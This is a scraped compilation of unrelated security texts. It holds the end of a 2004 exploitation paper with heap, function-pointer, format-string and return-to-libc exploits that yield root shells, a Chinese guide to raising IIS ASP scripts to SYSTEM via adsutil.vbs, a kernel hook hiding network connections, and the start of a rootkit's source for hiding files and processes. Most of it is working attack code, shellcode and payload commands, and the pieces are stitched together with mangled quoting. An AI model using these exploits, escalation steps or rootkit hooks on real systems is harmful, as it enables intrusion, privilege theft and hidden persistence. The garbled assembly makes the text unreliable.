[steve@covertsystems research]$ export CODE=‘printf “xebx0e”‘AAAAAAAAAAAAAAA
‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“CODE”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b

We are almost done now, except that we must supply a PREV_INUSE bit set to off.
To do this we can select a number that has the first bit of a little endian
ordered system set to off… which can be any number with lowest bit off.

In our case we shall use: 0xfffffff8

Lastly, we will need to set up a negative number with which to set the prev_size
& size fields of the memory allocation, and thankfully we can use the same
number as we used for the PREV_INUSE bit. Now we have all of the ingrediants to
complete this sequence.

[steve@covertsystems research]$ ./vuln ‘perl -e ’printf “A”x252 .
“xf8xffxffxff” . “xf8xffxffxff” . “xf8xffxffxff” .
“x9cx95×04x08″ . “x6bxfbxffxbf”’;‘
sh-2.05b# id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b# exit
exit
[steve@covertsystems research]$

Hopefully, this process is not as daunting as it seems. With alittle practice
this exploit can be achieved quickly and effectively. All that matters is
that we must fill a buffer upto -4 bytes from the end, and place our PREV_INUSE
number there, then place two negative numbers, our address for free() – 0×0c
and lastly our shellcode address.

c: Function pointer exploitation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.bss section
~~~~~~~~~~~~

Sample vulnerable process.

[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, “%s”, string);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x 1 root root 11670 Mar 9 00:22 ./vuln
[steve@covertsystems research]$

When we are dealing with the heap, the heap grows upwards. Thus from taking
alook at this process, we can see that if we supply 256 bytes of junk data
then supply an address ie: shellcode address, we can overwrite the func()
pointer.

However, overwriting the function pointer is not enough, unless the process
uses that function pointer at a later date during the execution. As we can see
func() is called after the overflow, which means that we can indeed exploit
this process.
The command sequence for exploitation of this processes is fairly simple.

[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..RS…..
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“CODE”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b
[steve@covertsystems research]$ ./vuln ‘perl -e ’print “A”x256 . “x6bxfbxffxbf”’‘
sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$
As you can see, this is a fairly straightforward exploit sequence.

d: Format string exploitation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sample vulnerable process.

[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>
int main(int argc, char **argv) {
char buffer[256];
snprintf(buffer, sizeof(buffer), “%s”, argv[1]);
fprintf(stdout, buffer);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x 1 root root 11670 Mar 9 00:22 ./vuln
[steve@covertsystems research]$

Format string exploitation is not as hard as it seems, a good binary / hex
calculator such as: pcalc is an extremely useful tool for getting the right
values to be used in the creation of the format string.
As is normal for commandline exploit sequences we must supply a working
shellcode up in an enviroment variable.

[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..RS…..
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“CODE”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbfffff4a
[steve@covertsystems research]$

The first thing we need to determine is the offset to a user-space region on
the stack. This is an area that we can control and is vital to the success of
the format string exploitation.

There are two methods to determine this offset.

The first method is to supply a range of %x or %p specifiers to pop from the
stack until our user supplied data is returned such as:

[steve@covertsystems research]$ ./vuln AAAA%p%p%p%p%p%p%p
AAAA0×80484b40xbffffa9e0×414141410x702570250×702570250x702570250×7025
[steve@covertsystems research]$

As we can see our string of A’s (0×41414141) is at offset 3

The second method is to use the placement specifier $ which is done as follows:

[steve@covertsystems research]$ ./vuln AAAA%1$p
AAAA0×80484b4[steve@covertsystems research]$ ./vuln AAAA%2$p
AAAA0xbffffaa8[steve@covertsystems research]$ ./vuln AAAA%3$p
AAAA0×41414141[steve@covertsystems research]$

This placement specifier is escaped with the   for reasons of the command line
usage, however as you can see the number supplied for each occurance returns
whatever is at that offset. And we see that at the third placement we have
returned our string of A’s.

For the purpose of exploitation, we need an address to overwrite with the
shellcode address. This is where the DTOR_END address of the vulnerable process
comes in handy, we can use this address because it is called when the program
exits.

[steve@covertsystems research]$ readelf -a ./vuln | grep DTOR_END
69: 0804959c 0 OBJECT LOCAL DEFAULT 19 __DTOR_END__
[steve@covertsystems research]$

We now have two important addresses at our disposal plus our offset, however
we need to set these addresses up as a format string. In order to do this we
must take note that we shall be writing the DTOR_END address first in two
parts.

We shall write to the lowest half of the address first, then to the highest
half of the address after that. Imagine the following:
0×0804959c <—= lowest
0×0804959c+2
0×0804959e <—= highest

Which means, that the beginning of our format string shall look like this.
“x9cx95×04x08×9ex95×04x08″

However we need to write to those addresses and this is where the printf
format specifier %hn comes into play, which is the (short write). We shall
write to those addresses in two parts using the following principles.

[steve@covertsystems research]$ printf “x9cx95×04x08×9ex95×04x08″ > fmt
[steve@covertsystems research]$ pcalc 0xff4a
65354 0xff4a 0y1111111101001010
[steve@covertsystems research]$ pcalc 0xff4a-8
65346 0xff42 0y1111111101000010
[steve@covertsystems research]$ pcalc 0×1bfff-0xff4a
49333 0xc0b5 0y1100000010110101
[steve@covertsystems research]$ echo -n “%.65346u%3$hn” >> fmt
[steve@covertsystems research]$ echo -n “%.49333u%4$hn” >> fmt
[steve@covertsystems research]$ ./vuln ‘cat fmt‘
<snip>
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$

The thing to remember with this sequence is that we are subtracting 8 from the
lowest half of the shellcode address, due to the reason that the %hn will write
65346 zeros, plus the 8 bytes already written as part of the format string …
“x9cx95×04x08×9ex95×04x08″ which gives a total write of: 65354 bytes

This will write half of the shellcode address: 0xff4a to 0×804959c

The next half address will be written to 0×804959e which shall complete the
shellcode address overwrite over of the DTOR_END address. The one thing we
did was round the shellcode address to: 0×1bfff which when 0xff4a is subtracted
from, will return a value that we can use to create a full address of:
0xbfffff4a

e: Return-to-libc exploitation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sample vulnerable process.

[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAX 768
int vector(char *buffer, char *ptr) {
strcpy(buffer, ptr);
return EXIT_SUCCESS;
}
int main(int argc, char **argv) {
char pattern[MAX];
vector(pattern, argv[1]);
fprintf(stdout, “Pattern: %sn”, pattern);
return EXIT_SUCCESS;
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x 1 root root 11670 Mar 9 00:22 ./vuln
[steve@covertsystems research]$

Return-to-libc exploitation is a reasonably new concept and can be very useful
in getting around non-executable stacks. However, for the purposes outlined
in this paper we shall be using a far simplier method as a demonstration of
return-to-libc.

Our aim will be to copy the shellcode address using the libc function strcpy(),
to the .data section of the vulnerable process, by doing so we manage to get
our shellcode to execute and provide us hopefully with a suid shell.

[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..RS…..
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“CODE”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbfffff4a
[steve@covertsystems research]$

Our next step is to get the .plt entry for strcpy() from the vulnerable process,
and this can be achieved with the following command:

[steve@covertsystems research]$ readelf -a ./vuln | grep strcpy
080495b0 00000607 R_386_JUMP_SLOT 080482c4 strcpy
6: 080482c4 48 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.0 (2)
110: 080482c4 48 FUNC GLOBAL DEFAULT UND strcpy@@GLIBC_2.0
[steve@covertsystems research]$

We can see here that the .plt entry for strcpy() is: 0×080482c4

The other address we need is the .data section address from within the process
and this can be achieved with a similar command.

[steve@covertsystems research]$ readelf -a ./vuln | grep .data
[14] .rodata PROGBITS 08048498 000498 000015 00 A 0 0 4
[16] .data PROGBITS 080494b4 0004b4 00000c 00 WA 0 0 4
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_
r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
03 .data .dynamic .ctors .dtors .jcr .got .bss
99: 080494b4 0 NOTYPE WEAK DEFAULT 16 data_start
101: 080495b8 0 NOTYPE GLOBAL DEFAULT ABS _edata
106: 080494b4 0 NOTYPE GLOBAL DEFAULT 16 __data_start
[steve@covertsystems research]$

The required address: 0×080494b4

We now have all the required data to exploit this using a return-to-libc call.

[steve@covertsystems research]$ ./vuln ‘perl -e ’printf “A”x768 .
“xc4×82x04×08BBBBxb4×94x04×08x4axffxffxbf”’‘
Pattern: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÄ‚BBBB??J???
sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$

There are ways we can use the return-to-libc method to provide us with a suid
shell without the use of shellcode, though that method requires the use of
several system calls chained together which is a challenge in itself, but can
be achieved quite reasonably.

This demonstration is mild, and there are other examples that may provide a
better understanding of return-to-libc exploitation. Try to rememeber the
layout of memory regarding **argv … As the bases of return-to-libc is to
follow the convention of that principal.

Example:
| buffer | padding | ebp | eip | argv[0] | argv[1] |…
| system()| JUNK | ENV ptr |
ENV ptr would be a pointer to a string such as:
[steve@covertsystems research]$ export SH=”/bin/sh”
[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“SH”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbfffff4a
[steve@covertsystems research]$
From this quick illustration you would be provided with a shell, though it
would not provide a suid shell without more advanced chaining of system calls.
Though hopefully I have given you some food for thought.

IV. Summary
~~~~~~~~~~~~

From this whitepaper, I have attempted to describe a few of the more common
types of vulnerabilities together with a more commandline sequence approach
for exploitation. The aim of this paper is to not get bogged down in the
details of exploitation, but rather to be more of a guide to help get an
overall picture.

Exploit research and development is a highly interesting area of research,
and hopefully I have given the reader some food for thought, and an interest
to delve even deeper into the subject.

The various sections relating to the different type of vulnerabilities are
very basic to say the least. Over time and with persistance, I assure you
that you could find many other ways to exploit the vulnerabilities, and this
is why exploit research can be so rewarding.

Good luck and Happy Hacking!
SolarIce (c) 2004

V. References
~~~~~~~~~~~~~~~

Articles:
~~~~~~~~~
Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14
Advances in format string exploitation
http://www.phrack.org/phrack/59/p59-0×07.txt
w00w00 heap exploitation
http://www.w00w00.org/files/articles/heaptut.txt
Vudo malloc tricks
http://www.phrack.org/phrack/57/p57-0×08
Once upon a free()
http://www.phrack.org/phrack/57/p57-0×09
Advanced return-into-lib(c) exploits
http://www.phrack.org/phrack/58/p58-0×04
Bypassing StackGuard and StackShield
http://www.phrack.org/phrack/56/p56-0×05
Stack & Format vulnerabilities
http://www.core-sec.com/examples/core_format_strings.pdf
http://www.core-sec.com/examples/core_vulnerabilities.pdf
Tools:
~~~~~~
pcalc
http://www.ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz

asp.dll解析成system提升权限




文章作者:Linzi

网络上传统的提升asp权限为系统的有两种:
1.图形化下的,把默认站点—->主目录—>应用程序保护设置为低,这样就可以把asp权限设置为system.
但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天
我要谈的关于adsutil.vbs提升权限.
2.用adsutil.vbs搞定.
在网络上我看到了很多的教你用这种方法的_blank>动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:
先举个例子:
有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.
转到_blank>计算机上:
在IIS中,有几个Dll文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析asp的asp.dll则就像一只
普通的狗,他的权限少得可怜.
那么,如果asp.dll也成了长老级的狗的话,那么asp不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是
把asp.dll加入特权的dll一族之中.提升步骤为:
<1>先查看有特权一话有哪些.
<2>加asp.dll加入特权一族
好了,下面我们就来实践这个过程.
1)查看有特权的dll文件:
命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
得到显示为:
C:\Inetpub\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps         : (LIST) (5 Items)
“C:\WINNT\system32\idq.dll”
“C:\WINNT\system32\inetsrv\httpext.dll”
“C:\WINNT\system32\inetsrv\httpodbc.dll”
“C:\WINNT\system32\inetsrv\ssinc.dll”
“C:\WINNT\system32\msw3prt.dll”
看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
这几个文件,不同的机子,可能会不同.
2)把asp.dll加入特权一族:
因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll   (不同的机子放的位置不一定相同)

们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps
“C:\WINNT\system32\idq.dll” “C:\WINNT\system32\inetsrv\httpext.dll”
“C:\WINNT\system32\inetsrv\httpodbc.dll”
“C:\WINNT\system32\inetsrv\ssinc.dll”
“C:\WINNT\system32\msw3prt.dll”"c:\winnt\system32\inetsrv\asp.dll”
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\Inetpub\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
例:cscript
adsutil.vbs set /W3SVC/InProcessIsapiApps “C:\WINNT\system32\idq.dll”
“C:\WINNT\system32\inetsrv\httpext.dll”
“C:\WINNT\system32\inetsrv\httpodbc.dll”
“C:\WINNT\system32\inetsrv\ssinc.dll” “C:\WINNT\system32\msw3prt.dll”
这样就可以了,当你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps   这个语句查之时,如果没有看见asp.dll,
说明,asp的权限又恢复到以前的权限.

port/connection hiding
@ :: worthy ::   Jun 18 2004, 15:57 (UTC+0)
akcom
writes: after reading HolyFather’s article on rootkits, i wrote a hook
to hide connections. I’ve noticed a few people saying that the already
available ones are buggy, so heres my hook (in C++, minor modifications
would make it c compatible)


typedef struct _GENERIC_RECORD
{
  ULONG entry1; //state on tcp, local addr on udp
  ULONG entry2; //local addr on tcp, local port on udp
  ULONG entry3; //local port on tcp
  ULONG entry4; //remote addr on tcp
  ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;






NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
  IN HANDLE           FileHandle,
  IN HANDLE           Event OPTIONAL,
  IN PIO_APC_ROUTINE     ApcRoutine OPTIONAL,
  IN PVOID           ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK   IoStatusBlock,
  IN ULONG           IoControlCode,
  IN PVOID           InputBuffer OPTIONAL,
  IN ULONG           InputBufferLength,
  OUT PVOID           OutputBuffer OPTIONAL,
  IN ULONG           OutputBufferLength
)
{
  NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
                    FileHandle,
                    Event,
                    ApcRoutine,
                    ApcContext,
                    IoStatusBlock,
                    IoControlCode,
                    InputBuffer,
                    InputBufferLength,
                    OutputBuffer,
                    OutputBufferLength
                    );
  if (!NT_SUCCESS(ntRes))
  {
    return ntRes;
  }
 
  if (IoControlCode != 0×120003)
  {
    return ntRes;
  }
 
  POBJECT_NAME_INFORMATION ObjectName;
  char ObjectNameBuf[512];
  ULONG ReturnLen;
  ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
  ObjectName->Name.MaximumLength = 500;
  ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
 
  char ObjectNameMBS[261];  
  wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
 
  if (stricmp(ObjectNameMBS, “\\Device\\Tcp”) != 0)
  {
    return ntRes;
  }
 
  PBYTE input = (PBYTE)InputBuffer;
  if (InputBufferLength < 17)
  {
    return ntRes;
  }
 
  bool tcp = false;
  /*
  if its tcp, then the first item is
  state, which we need to ignore
  */
  ULONG recordSize = 0;
  if (input[0] == 0×00)
  {
    tcp = true;
    recordSize = sizeof(MIB_TCPROW);
    //tcp
    if (input[16] == 0×02)
    {
        //extended
        recordSize += 4;
    }
  }
  else
  {
    //udp
    recordSize = sizeof(MIB_UDPROW);
    //extended
    if (input[16] == 0×02)
    {
        recordSize += 4;
    }
  }
 
  ULONG entryCount = IoStatusBlock->Information / recordSize;
 
  bool done;
  PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
 
  ULONG i;
 
  ULONG ip;
  USHORT port;
 
  i = 0;
 
  while (i < entryCount)
  {
    ip = tcp ? data->entry2 : data->entry1;
    port = (USHORT)(tcp ? data->entry3 : data->entry2);
    // i use a linked list of records to hide,
    // just replace this with your comparison
    if (
        matchesConMask( ip, port, g_ConList )
      )
    {
        //local stuff
        hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
        IoStatusBlock->Information -= recordSize;
        entryCount–;
    }
    else
    // i use a linked list of records to hide,
    // just replace this with your comparison
    if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
    {
        //remote stuff
        hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
        IoStatusBlock->Information -= recordSize;
        entryCount–;
    }
    else
    {        
        data = (PGENERIC_RECORD)(((char *)data) + recordSize);
        i++;
    }
  }
 
  return ntRes;
}

// BASIC ROOTKIT that hides files, directories, and processes
// ———————————————————-
// v0.1 – Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.2 – DirEntry struct fixed, b00lean (b00lean@rootkit.com)
// v0.7 – Hidden file in first call to FindFirstFile fix, j0epub@rootkit.com
//          XP ServiceDescriptorTable read only fix, j0epub@rootkit.com
//          Latter of 2 hidden process fix, j0epub@rootkit.com
// ———————————————————-
// visit www.rootkit.com for latest rootkit warez
// ———————————————————-

#include “ntddk.h”
#include “stdarg.h”
#include “stdio.h”
#include “ntiologc.h”

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long


#define STRHIDE “_root_”
#define STRHIDEW L”_root_”
#define HIDELEN (sizeof(STRHIDE) – 1)
#define HIDELENB (sizeof(STRHIDEW) – 2)


// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; //Used only in checked build
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
    LARGE_INTEGER        KernelTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        CreateTime;
    ULONG                WaitTime;
    PVOID                StartAddress;
    CLIENT_ID            ClientIs;
    KPRIORITY            Priority;
    KPRIORITY            BasePriority;
    ULONG                ContextSwitchCount;
    ULONG                ThreadState;
    KWAIT_REASON        WaitReason;
};

struct _SYSTEM_PROCESSES
{
    ULONG                NextEntryDelta;
    ULONG                ThreadCount;
    ULONG                Reserved[6];
    LARGE_INTEGER        CreateTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        KernelTime;
    UNICODE_STRING        ProcessName;
    KPRIORITY            BasePriority;
    ULONG                ProcessId;
    ULONG                InheritedFromProcessId;
    ULONG                HandleCount;
    ULONG                Reserved2[2];
    VM_COUNTERS            VmCounters;
    IO_COUNTERS            IoCounters; //windows 2000 only
    struct _SYSTEM_THREADS        Threads[1];
};

#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation    // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
    FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN bReturnOnlyOneEntry,
    IN PUNICODE_STRING PathMask OPTIONAL,
    IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
    HANDLE hEvent,
    PIO_APC_ROUTINE IoApcRoutine,
    PVOID IoApcContext,
    PIO_STATUS_BLOCK pIoStatusBlock,
    PVOID FileInformationBuffer,
    ULONG FileInformationBufferLength,
    FILE_INFORMATION_CLASS FileInfoClass,
